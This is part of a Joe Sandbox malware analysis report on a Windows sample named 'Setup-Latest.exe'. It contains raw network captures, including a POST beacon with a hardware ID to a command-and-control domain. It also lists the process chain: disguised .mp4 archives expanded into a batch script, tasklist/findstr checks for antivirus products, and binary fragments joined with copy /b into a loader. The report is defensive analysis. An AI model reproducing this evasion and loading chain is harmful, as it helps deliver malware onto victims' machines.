2025-02-14 15:56:03 UTC	15331	OUT	Data Raw: 83 f9 48 85 2f 0b fb b2 ee 55 f7 34 8a d6 7b e1 99 fa 31 56 8e 1c 10 2a 5b 38 da 05 fd 7b a3 e2 d0 92 6b 64 30 08 f0 9d 4f 2f c7 14 0b 9c 38 65 30 29 d7 69 15 11 48 96 68 bb f4 51 5e 31 a5 7c 4b eb 19 92 2d 19 38 65 d2 75 2c d4 2e 4f d7 b2 fc 89 19 3b 6b d3 4a 78 de 69 31 13 d2 db f0 6a 8e b2 a9 41 6e 63 5f 07 fc bd f4 9a 22 f0 28 5e 74 d6 5c a9 1a 20 db 3a 09 c3 a4 13 24 29 57 7c f7 b8 c3 d0 68 0b 45 07 85 c6 b4 28 a6 fb 00 d1 a1 e2 70 9a 32 ef b9 d2 2c ec ce 2d fb a8 60 2d 23 38 9a 56 d4 71 9e 96 ee 1a ac 00 ab fd 98 e5 02 36 40 68 09 2f f0 4c 0d 1e b1 17 de 94 9a ea f2 a5 da 9a f9 6d 07 28 cd 7e d2 ec b6 52 fe 2b 98 8b 18 1e c6 a3 3c 67 02 61 5e 1f 3f 21 96 0b b1 72 4a 93 fe 0d a3 de 19 08 99 ca e9 49 4c 1a 48 6c d5 f1 af 69 91 c7 7b c4 e8 63 fc 01 12 Data Ascii: H/U4{1V*[8{kd0O/8e0)iHhQ^1\|K-8eu,.O;kJxi1jAnc_"(^t\ :$)W\|hE(p2,-`-#8Vq6@h/Lm(~R+<ga^?!rJILHli{c
2025-02-14 15:56:03 UTC	15331	OUT	Data Raw: e3 da 4a e0 86 68 44 86 c2 7d bc fd 21 c4 3b 43 c8 aa 38 70 d9 f6 af 29 57 28 c3 9f c3 0e f4 11 e3 b2 7c 9c c2 f6 03 44 74 c8 52 cc 3c b0 3d 07 0b b0 f0 7f 88 92 42 b7 d6 0b 91 2d 33 33 e6 f7 f0 8e 49 13 3b e6 a8 87 59 62 e9 a7 69 32 20 5d 1b 82 20 fb 9b 34 e1 d5 1f 7d 5e 07 09 b9 f1 b5 de 6b d0 f4 4f 01 a2 70 44 01 bf ed 49 5c 86 3b 9f fa 37 5a 74 28 86 ea c1 5f 82 64 ce 3c a5 04 e3 0b 21 a4 b8 ed fe ff f8 36 7f 86 61 82 bd 57 f9 07 af ff b2 19 8a 20 70 15 1f 4a 2e 48 5c 41 07 1f 39 ee da 91 74 b7 61 57 be a3 56 ad 88 bb 1b ce 11 38 d6 1e 4d 9d 66 bd b2 52 f9 d9 fe f4 76 c7 ee 41 42 f6 d1 c1 0f b7 15 79 3f d2 2d 46 a5 8f 6f bf 2e 36 f7 c0 5d a8 e5 b1 c5 b0 07 35 ac 6c d2 eb b4 53 17 4c b3 9b 9e 85 f7 fc 9c 74 15 7c 7e 8c 18 66 21 05 5f 48 81 b2 bd 13 ce Data Ascii: JhD}!;C8p)W(\|DtR<=B-33I;Ybi2 ] 4}^kOpDI\;7Zt(_d<!6aW pJ.H\A9taWV8MfRvABy?-Fo.6]5lSLt\|~f!_H
2025-02-14 15:56:03 UTC	15331	OUT	Data Raw: 4d 26 68 5d 8d 4a 10 d9 33 7d 48 e5 f5 80 c5 ab 1a 82 00 b4 34 85 7a 8d 67 4c 61 5e 8f f3 f1 1a c6 84 c1 b1 5b ad 1b c7 04 6c 11 f3 ef cd ab ca 12 5c be ee 91 e4 43 d9 ce ab d3 e5 5a f7 9b 20 b9 d4 28 4a 7d cc 28 b8 3e b1 f3 ee 45 02 c8 3f 38 76 4a 23 7d f7 7c d3 25 3d 2e 01 21 cd c3 34 ab a6 74 93 10 4f 05 64 e9 36 46 29 31 5f 2d 5e 8a 3c 89 0d b8 79 73 64 7b fe eb 89 fb 42 e0 d6 1d 4a f3 66 96 81 42 17 6a 96 e5 78 79 0a d7 87 9b 32 ed 4d 7f 0a d3 76 26 ed 61 53 08 d8 e1 e8 ff 4b 3c 94 00 e9 ef 23 5b 67 85 59 77 b7 17 8a 4f 2e a9 55 53 67 92 3a 75 24 f4 d3 cb 80 15 88 bb 08 f3 02 fd 9e e7 68 3c 88 53 a7 1b c7 41 06 54 1f 02 40 16 e0 41 34 ad f1 53 5b b1 f7 68 9d 0a 38 4e 4f f8 38 e2 af 3c 7f af a7 aa 28 47 81 91 84 03 f9 55 ac 2d 15 30 6b a5 2a 04 02 08 Data Ascii: M&h]J3}H4zgLa^[l\CZ (J}(>E?8vJ#}\|%=.!4tOd6F)1_-^<ysd{BJfBjxy2Mv&aSK<#[gYwO.USg:u$h<SAT@A4S[h8NO8<(GU-0k*
2025-02-14 15:56:03 UTC	15331	OUT	Data Raw: bd de 7c 47 d5 75 75 52 07 b2 16 91 78 69 7f 59 7d 37 42 a9 c5 77 ba 17 0e e2 31 a4 2b 0e 7d a9 22 c9 59 57 a5 4a 7e 96 e6 4e 19 bb 6e f1 33 f9 25 a7 67 0d 24 e4 7b 9e 3a f9 33 af 33 93 5c 8f 13 5a cf 25 a6 5d 03 c3 61 1b 43 bc 80 b5 fe 44 e3 15 db 7b 4b c9 d1 a0 66 9b 5f 64 3b 66 65 c1 b5 e6 a7 e4 5c df c7 7a 88 96 3e b4 f9 23 3b 60 78 2c 33 3b 3c 6f aa 72 df d9 1d e6 9b b3 3b 91 42 67 77 72 6a e2 d8 b8 c1 4b 4b ec e4 91 7f 69 06 27 a8 52 05 03 12 f1 df b9 c9 39 54 46 a1 54 a7 5e 42 de 69 59 ba ff d9 b0 b3 cc d8 dc 7d 4b 0b d5 ba 1c c2 a5 0b 5a ef 21 3a 9f 57 65 67 6d d9 bb 8e c0 ea 8d 9d ff 9b a5 94 e1 cf f0 97 0b 3b 70 fd d8 70 52 9b b0 e0 9b 23 86 42 30 69 8c 06 47 22 f4 af 30 49 e6 ee 35 25 1d c9 33 8a 67 ec 62 96 f4 d8 aa 13 6f ce 3a cb 88 08 1f ad Data Ascii: \|GuuRxiY}7Bw1+}"YWJ~Nn3%g${:33\Z%]aCD{Kf_d;fe\z>#;`x,3;<or;BgwrjKKi'R9TFT^BiY}KZ!:Wegm;ppR#B0iG"0I5%3gbo:
2025-02-14 15:56:03 UTC	15331	OUT	Data Raw: 27 a4 40 a6 5a e0 8f 1f 86 b3 a9 d7 0f 63 7d 52 6e 10 0e a7 a5 dc c0 9e d5 d4 d7 c4 07 2b f3 65 06 19 c2 8c 56 ca a4 23 93 31 df 55 3d c9 90 4c 0c be a7 bd 3f 94 92 fd 9e 40 d1 2c e0 d1 f0 95 37 a1 54 57 06 63 9f 87 8c f3 68 8b f6 d2 ff 5b 73 8b bc c8 82 27 c5 c0 e7 2a b0 39 80 a6 15 40 0c 91 21 97 1d 6a a8 31 0c e8 59 cd 46 51 d4 b8 95 ad b8 31 a8 45 e3 30 3f c1 de a7 0b f6 80 54 25 d7 ac 46 ec 58 a3 2b bf 61 a4 b8 81 02 35 c6 7b e3 12 b4 67 bc 5c 22 0c 60 c1 d5 bf cd 55 6f 7f c2 ae e8 ab 50 14 a3 92 b8 99 54 28 4f a1 60 61 08 35 3c 4d 0e 0f 4a 44 4b 20 05 fe 95 0e db 55 f0 88 2b b6 59 26 30 7a f3 23 33 94 9f cc a8 6c 1b 9c 89 86 5b 0b b0 66 2b 54 d4 f2 e3 26 f4 e9 c8 94 27 11 e9 aa fb 30 4c 45 4c 47 88 00 61 4f ff b7 7a 0f 6e 97 28 74 8b ee 2d 53 38 0c Data Ascii: '@Zc}Rn+eV#1U=L?@,7TWch[s'*9@!j1YFQ1E0?T%FX+a5{g\"`UoPT(O`a5<MJDK U+Y&0z#3l[f+T&'0LELGaOzn(t-S8
2025-02-14 15:56:03 UTC	15331	OUT	Data Raw: 7c c9 a3 2f 07 b8 7c cc ba e4 9a fd f8 be e0 95 09 af 07 3d 86 56 4b 79 a6 91 90 d2 06 0f 0e 4a 4b 30 3d 3a e8 6f 4d 28 99 8a 0a d1 97 94 44 bf 8e b0 df e5 1c 8e 73 ba 54 89 f1 3e 8f 80 80 60 3d 15 a2 59 66 93 ee 72 d6 4e 9b f4 2e 6e bc 1f 39 20 a2 68 a5 63 29 72 7f d1 26 00 5c ac cc 5f 02 2b c5 cd 23 04 c0 25 a2 8b 27 e6 c4 1c 22 61 7c bd 70 42 e3 ef 1a 62 f9 c9 21 26 46 2e 55 29 25 1b 5e 57 53 9e dc 53 62 b5 2b d1 e0 30 bf 5a 71 e6 89 5f 41 a2 e3 63 2c 32 36 d8 ae c6 93 86 8a 21 09 dd 1f 9d 0d aa bc bb 80 56 d9 b0 4f ce e7 42 73 0f 7f b4 8c 1d e1 06 7e b1 27 c8 7a 84 31 05 de 69 32 3d f9 a4 a3 be 4a 9c 3b 59 4d a0 ed 67 c8 07 40 3a 64 46 72 e2 d9 7b f1 d8 8a 83 ef ce c8 db 18 d8 6b 39 77 33 9e 64 89 70 61 3a ff 9f 26 a1 6d 57 6f 10 9c 30 d5 ba 12 cd 9f Data Ascii: \|/\|=VKyJK0=:oM(DsT>`=YfrN.n9 hc)r&\_+#%'"a\|pBb!&F.U)%^WSSb+0Zq_Ac,26!VOBs~'z1i2=J;YMg@:dFr{k9w3dpa:&mWo0
2025-02-14 15:56:03 UTC	15331	OUT	Data Raw: 5e 3d b9 a2 4d 5f 84 37 7e 73 bc 63 37 7e 7c bd 97 54 ba c9 b9 e1 1e 1a 09 fb 94 ff aa a1 08 80 99 c0 e4 c8 e0 99 15 a6 86 27 a7 78 c3 68 a8 6b d9 cb c3 70 55 5e 00 22 8f ca 56 70 66 b7 f1 00 eb 6c fb a9 df b3 96 e6 f2 62 8c d3 a5 3a 2e 85 d3 95 00 78 22 7a b7 f3 90 78 d3 6e 90 b0 fe e1 74 1a bb cf 0a 5b b4 b2 71 49 a0 24 2f eb 76 dd e6 64 97 06 fe 8b 78 8c bd d3 e6 e2 18 2d 76 e3 77 e9 d0 83 53 2b c9 ec b3 fa 97 30 45 5b bb 86 7a a0 5a fb fd ed bf 42 5c 32 24 df 67 f5 26 b6 36 9f 41 7d 77 53 3e 92 0d 68 7f cc 8d f5 da 8f 41 f0 8f f0 2b b7 f3 ff 91 69 e1 99 34 f9 b1 96 2d 76 1a 2d 72 9a 8b 74 0c 32 2a 4f 3e c5 bd fb 70 d1 68 15 55 49 b8 aa 97 f1 c6 63 78 cf 80 ab 3b f3 cb de f8 aa aa 37 1e e1 e9 9a b0 7c 85 c3 5f 93 6c 1e 03 5e d6 93 2e 6d 43 5e 03 6d 95 Data Ascii: ^=M_7~sc7~\|T'xhkpU^"Vpflb:.x"zxnt[qI$/vdx-vwS+0E[zZB\2$g&6A}wS>hA+i4-v-rt2*O>phUIcx;7\|_l^.mC^m
2025-02-14 15:56:04 UTC	1128	IN	HTTP/1.1 200 OK Date: Fri, 14 Feb 2025 15:56:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Set-Cookie: PHPSESSID=n47mm8savm8m2vvgi8vjnpp6u9; expires=Sat, 15 Feb 2025 15:56:04 GMT; Max-Age=86400; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GVs3w1lEawtvyf2FD0gV6h9fogNNbThpKbCfs8ekTqu8xDqGIvWdQBf9pIffa0%2BzsM34qT3mSFDqU%2BO2wwr9efmNijL%2BNYwhiMOSbIQljCJse3mpstUQslEiK4U3tkVd2t0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 911e3ef7dcebc5af-IAD alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=7200&min_rtt=7123&rtt_var=2726&sent=196&recv=577&lost=0&retrans=0&sent_bytes=2837&recv_bytes=561433&delivery_rate=409939&cwnd=32&unsent_bytes=0&cid=733821f5dc3d0d64&ts=1811&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49744	188.114.97.3	443	7884	C:\Users\user\AppData\Local\Temp\562639\Wages.com

Timestamp	Bytes transferred	Direction	Data
2025-02-14 15:56:05 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 80 Host: zengardxen.cyou
2025-02-14 15:56:05 UTC	80	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 57 47 36 49 36 53 2d 2d 6d 6d 6d 26 6a 3d 26 68 77 69 64 3d 30 30 43 38 36 43 31 44 46 44 42 38 36 45 41 43 32 42 41 43 34 41 32 44 30 31 45 39 45 44 44 45 Data Ascii: act=get_message&ver=4.0&lid=WG6I6S--mmm&j=&hwid=00C86C1DFDB86EAC2BAC4A2D01E9EDDE
2025-02-14 15:56:05 UTC	1122	IN	HTTP/1.1 200 OK Date: Fri, 14 Feb 2025 15:56:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Set-Cookie: PHPSESSID=pssm86hrnu49riojm36ff079l7; expires=Sat, 15 Feb 2025 15:56:05 GMT; Max-Age=86400; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Zm5nsd9dUhSb2wBCvGYIVVHW6KeudG4zjuVXS9d5OKjKP1pm%2FQ%2BlpJXmmj2lreLbCeHtveyYVeUHG%2BDPXhjiNwAo3yL1SuNEpc7AgAuFn0Cd6up%2BuNmfIuDlYbO5hwDxKDk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 911e3f067d720829-IAD alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=8797&min_rtt=8790&rtt_var=3312&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2836&recv_bytes=979&delivery_rate=329831&cwnd=32&unsent_bytes=0&cid=c8c15c19e973f65c&ts=556&x=0"
2025-02-14 15:56:05 UTC	54	IN	Data Raw: 33 30 0d 0a 36 46 2f 61 68 32 55 77 7a 72 72 47 47 31 6f 58 6c 51 4a 62 58 2b 6c 4d 4e 71 48 35 30 38 2f 73 67 61 6c 54 6a 59 49 79 78 32 65 7a 41 67 3d 3d 0d 0a Data Ascii: 306F/ah2UwzrrGG1oXlQJbX+lMNqH508/sgalTjYIyx2ezAg==
2025-02-14 15:56:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	10:55:16
Start date:	14/02/2025
Path:	C:\Users\user\Desktop\Setup-Latest.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Setup-Latest.exe"
Imagebase:	0x400000
File size:	1'444'885 bytes
MD5 hash:	D905D14928E2766285ED7CA83EAAF4B3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	10:55:16
Start date:	14/02/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c expand Wide.mp4 Wide.mp4.bat & Wide.mp4.bat
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	10:55:16
Start date:	14/02/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	10:55:16
Start date:	14/02/2025
Path:	C:\Windows\SysWOW64\expand.exe
Wow64 process (32bit):	true
Commandline:	expand Wide.mp4 Wide.mp4.bat
Imagebase:	0x430000
File size:	53'248 bytes
MD5 hash:	544B0DBFF3F393BCE8BB9D815F532D51
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	10:55:18
Start date:	14/02/2025
Path:	C:\Windows\SysWOW64\tasklist.exe
Wow64 process (32bit):	true
Commandline:	tasklist
Imagebase:	0x50000
File size:	79'360 bytes
MD5 hash:	0A4448B31CE7F83CB7691A2657F330F1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	10:55:18
Start date:	14/02/2025
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr /I "opssvc wrsa"
Imagebase:	0x300000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	10:55:18
Start date:	14/02/2025
Path:	C:\Windows\SysWOW64\tasklist.exe
Wow64 process (32bit):	true
Commandline:	tasklist
Imagebase:	0x50000
File size:	79'360 bytes
MD5 hash:	0A4448B31CE7F83CB7691A2657F330F1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	10:55:18
Start date:	14/02/2025
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"
Imagebase:	0x300000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	10:55:19
Start date:	14/02/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c md 562639
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	10:55:19
Start date:	14/02/2025
Path:	C:\Windows\SysWOW64\extrac32.exe
Wow64 process (32bit):	true
Commandline:	extrac32 /Y /E Always.mp4
Imagebase:	0x9c0000
File size:	29'184 bytes
MD5 hash:	9472AAB6390E4F1431BAA912FCFF9707
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	10:55:20
Start date:	14/02/2025
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr /V "Yang" Labor
Imagebase:	0x300000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	10:55:20
Start date:	14/02/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c copy /b 562639\Wages.com + Uniform + Textbooks + Exhibits + Accountability + Fails + Pavilion + Suggestions + Decorating + Volunteers 562639\Wages.com
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	10:55:20
Start date:	14/02/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c copy /b ..\Strikes.mp4 + ..\Darkness.mp4 + ..\Oaks.mp4 + ..\Fares.mp4 + ..\Funding.mp4 + ..\Complimentary.mp4 + ..\Relate.mp4 G
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	10:55:20
Start date:	14/02/2025
Path:	C:\Users\user\AppData\Local\Temp\562639\Wages.com
Wow64 process (32bit):	true
Commandline:	Wages.com G
Imagebase:	0x8b0000
File size:	947'288 bytes
MD5 hash:	62D09F076E6E0240548C2F837536A46A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	10:55:21
Start date:	14/02/2025
Path:	C:\Windows\SysWOW64\choice.exe
Wow64 process (32bit):	true
Commandline:	choice /d y /t 5
Imagebase:	0x3c0000
File size:	28'160 bytes
MD5 hash:	FCE0E41C87DC4ABBE976998AD26C27E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	17.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	21%
Total number of Nodes:	1482
Total number of Limit Nodes:	28

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Setup-Latest.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

PCAP (Network Traffic)

Sigma Signatures

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\562639\G

C:\Users\user\AppData\Local\Temp\562639\Wages.com

C:\Users\user\AppData\Local\Temp\Accountability

C:\Users\user\AppData\Local\Temp\Always.mp4

C:\Users\user\AppData\Local\Temp\Complimentary.mp4

C:\Users\user\AppData\Local\Temp\Darkness.mp4

C:\Users\user\AppData\Local\Temp\Decorating

C:\Users\user\AppData\Local\Temp\Exhibits

C:\Users\user\AppData\Local\Temp\Fails

C:\Users\user\AppData\Local\Temp\Fares.mp4

C:\Users\user\AppData\Local\Temp\Funding.mp4

C:\Users\user\AppData\Local\Temp\Labor

C:\Users\user\AppData\Local\Temp\Oaks.mp4

C:\Users\user\AppData\Local\Temp\Pavilion

C:\Users\user\AppData\Local\Temp\Relate.mp4

C:\Users\user\AppData\Local\Temp\Strikes.mp4

Windows Analysis Report
Setup-Latest.exe